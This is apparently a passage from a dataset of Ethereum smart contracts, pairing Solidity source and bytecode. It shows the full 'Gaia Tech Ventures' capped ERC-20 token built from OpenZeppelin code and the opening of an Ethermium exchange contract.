c8c7c3b925929081900390910190a350600192915050565b61065c610aef565b60055461010090046001600160a01b039081169116146106b1576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610af3565b5050565b6001600160a01b031660009081526020819052604090205490565b6106e2610aef565b60055461010090046001600160a01b03908116911614610737576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b610804610aef565b60055461010090046001600160a01b03908116911614610859576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610b9b565b60006001600160a01b03831661087857600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff610a0f16565b60006108b9338484610a24565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108f5610aef565b60055461010090046001600160a01b0390811691161461094a576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6001600160a01b03811661098f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c436026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600082820183811015610a0857600080fd5b9392505050565b600082821115610a1e57600080fd5b50900390565b6001600160a01b038216610a3757600080fd5b6001600160a01b038316600090815260208190526040902054610a60908263ffffffff610a0f16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a95908263ffffffff6109f616565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610b0657600080fd5b600254610b19908263ffffffff6109f616565b6002556001600160a01b038216600090815260208190526040902054610b45908263ffffffff6109f616565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610bae57600080fd5b600254610bc1908263ffffffff610a0f16565b6002556001600160a01b038216600090815260208190526040902054610bed908263ffffffff610a0f16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122070574a42a4d5593330f745fb30efdf37e758647ead1e63a95a62fd5effef381164736f6c634300060a0033 | {"success": true, "error": null, "results": {}} | 616 |
0x6932497ea8635e959b78b38cee4b20ef04d77f79 | pragma solidity ^0.4.24;
/**
* Hello,
*
* thank you for choosing Gaia Tech Ventures.
* Please visit our https://gtvcoin.io for more information.
*
* Copyright Gaia Tech Ventures. All Rights Reserved.
*/
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
uint256 private totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param _account The account that will receive the created tokens.
* @param _amount The amount that will be created.
*/
function _mint(address _account, uint256 _amount) internal {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal _burn function.
* @param _account The account whose tokens will be burnt.
* @param _amount The amount that will be burnt.
*/
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed[_account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
_burn(_account, _amount);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
_mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply().add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract GaiaTechVentures is CappedToken(6000000000000000000000000000) {
string public name = "Gaia Tech Ventures";
string public symbol = "GTV";
uint8 public decimals = 18;
constructor() public {
_mint(msg.sender, 3000000000000000000000000000);
}
} | 0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde0314610130578063095ea7b3146101c057806318160ddd1461022557806323b872dd14610250578063313ce567146102d5578063355274ea1461030657806340c10f1914610331578063661884631461039657806370a08231146103fb578063715018a6146104525780637d64bcb4146104695780638da5cb5b1461049857806395d89b41146104ef578063a9059cbb1461057f578063d73dd623146105e4578063dd62ed3e14610649578063f2fde38b146106c0575b600080fd5b34801561010d57600080fd5b50610116610703565b604051808215151515815260200191505060405180910390f35b34801561013c57600080fd5b50610145610716565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018557808201518184015260208101905061016a565b50505050905090810190601f1680156101b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cc57600080fd5b5061020b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b4565b604051808215151515815260200191505060405180910390f35b34801561023157600080fd5b5061023a6108a6565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b0565b604051808215151515815260200191505060405180910390f35b3480156102e157600080fd5b506102ea610c6b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031257600080fd5b5061031b610c7e565b6040518082815260200191505060405180910390f35b34801561033d57600080fd5b5061037c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c84565b604051808215151515815260200191505060405180910390f35b3480156103a257600080fd5b506103e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc2565b604051808215151515815260200191505060405180910390f35b34801561040757600080fd5b5061043c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f54565b6040518082815260200191505060405180910390f35b34801561045e57600080fd5b50610467610f9c565b005b34801561047557600080fd5b5061047e6110a1565b604051808215151515815260200191505060405180910390f35b3480156104a457600080fd5b506104ad611169565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104fb57600080fd5b5061050461118f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610544578082015181840152602081019050610529565b50505050905090810190601f1680156105715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058b57600080fd5b506105ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061122d565b604051808215151515815260200191505060405180910390f35b3480156105f057600080fd5b5061062f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061144d565b604051808215151515815260200191505060405180910390f35b34801561065557600080fd5b506106aa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611649565b6040518082815260200191505060405180910390f35b3480156106cc57600080fd5b50610701600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116d0565b005b600360149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ac5780601f10610781576101008083540402835291602001916107ac565b820191906000526020600020905b81548152906001019060200180831161078f57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108ff57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561098a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109c657600080fd5b610a17826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aaa826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b7b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900460ff1681565b60045481565b6000600454610ca383610c956108a6565b61175990919063ffffffff16565b11151515610cb057600080fd5b610cba838361177a565b905092915050565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610dd4576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e68565b610de7838261173890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ff857600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ff57600080fd5b600360149054906101000a900460ff1615151561111b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112255780601f106111fa57610100808354040283529160200191611225565b820191906000526020600020905b81548152906001019060200180831161120857829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561127c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112b857600080fd5b611309826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061139c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006114de82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172c57600080fd5b61173581611856565b50565b60008083831115151561174a57600080fd5b82840390508091505092915050565b600080828401905083811015151561177057600080fd5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117d857600080fd5b600360149054906101000a900460ff161515156117f457600080fd5b6117fe8383611952565b8273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a26001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561189257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561197857600080fd5b61198d8160025461175990919063ffffffff16565b6002819055506119e4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a7230582027adb33c4d8dcf8a8355296d62b5836863afcbe1265366f21768a0a1d01fecb50029 | {"success": true, "error": null, "results": {}} | 617 |
0xa5cc679a3528956e8032df4f03756c077c1ee3f4 | pragma solidity ^0.4.19;
contract Token {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function transfer(address _to, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
}
contract EthermiumAffiliates {
mapping(address => address[]) public referrals; // mapping of affiliate address to referral addresses
mapping(address => address) public affiliates; // mapping of referrals addresses to affiliate addresses
mapping(address => bool) public admins; // mapping of admin accounts
string[] public affiliateList;
address public owner;
function setOwner(address newOwner);
function setAdmin(address admin, bool isAdmin) public;
function assignReferral (address affiliate, address referral) public;
function getAffiliateCount() returns (uint);
function getAffiliate(address refferal) public returns (address);
function getReferrals(address affiliate) public returns (address[]);
}
contract EthermiumTokenList {
function isTokenInList(address tokenAddress) public constant returns (bool);
}
contract Exchange {
function assert(bool assertion) {
if (!assertion) throw;
}
function safeMul(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
address public owner;
mapping (address => uint256) public invalidOrder;
event SetOwner(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function setOwner(address newOwner) onlyOwner {
SetOwner(owner, newOwner);
owner = newOwner;
}
function getOwner() returns (address out) {
return owner;
}
function invalidateOrdersBefore(address user, uint256 nonce) onlyAdmin {
if (nonce < invalidOrder[user]) throw;
invalidOrder[user] = nonce;
}
mapping (address => mapping (address => uint256)) public tokens; //mapping of token addresses to mapping of account balances
mapping (address => bool) public admins;
mapping (address => uint256) public lastActiveTransaction;
mapping (bytes32 => uint256) public orderFills;
address public feeAccount;
uint256 public feeAffiliate; // percentage times (1 ether)
uint256 public inactivityReleasePeriod;
mapping (bytes32 => bool) public traded;
mapping (bytes32 => bool) public withdrawn;
uint256 public makerFee; // fraction * 1 ether
uint256 public takerFee; // fraction * 1 ether
uint256 public affiliateFee; // fraction as proportion of 1 ether
uint256 public makerAffiliateFee; // wei deductible from makerFee
uint256 public takerAffiliateFee; // wei deductible form takerFee
mapping (address => address) public referrer; // mapping of user addresses to their referrer addresses
address public affiliateContract;
address public tokenListContract;
enum Errors {
INVLID_PRICE, // Order prices don't match
INVLID_SIGNATURE, // Signature is invalid
TOKENS_DONT_MATCH, // Maker/taker tokens don't match
ORDER_ALREADY_FILLED, // Order was already filled
GAS_TOO_HIGH // Too high gas fee
}
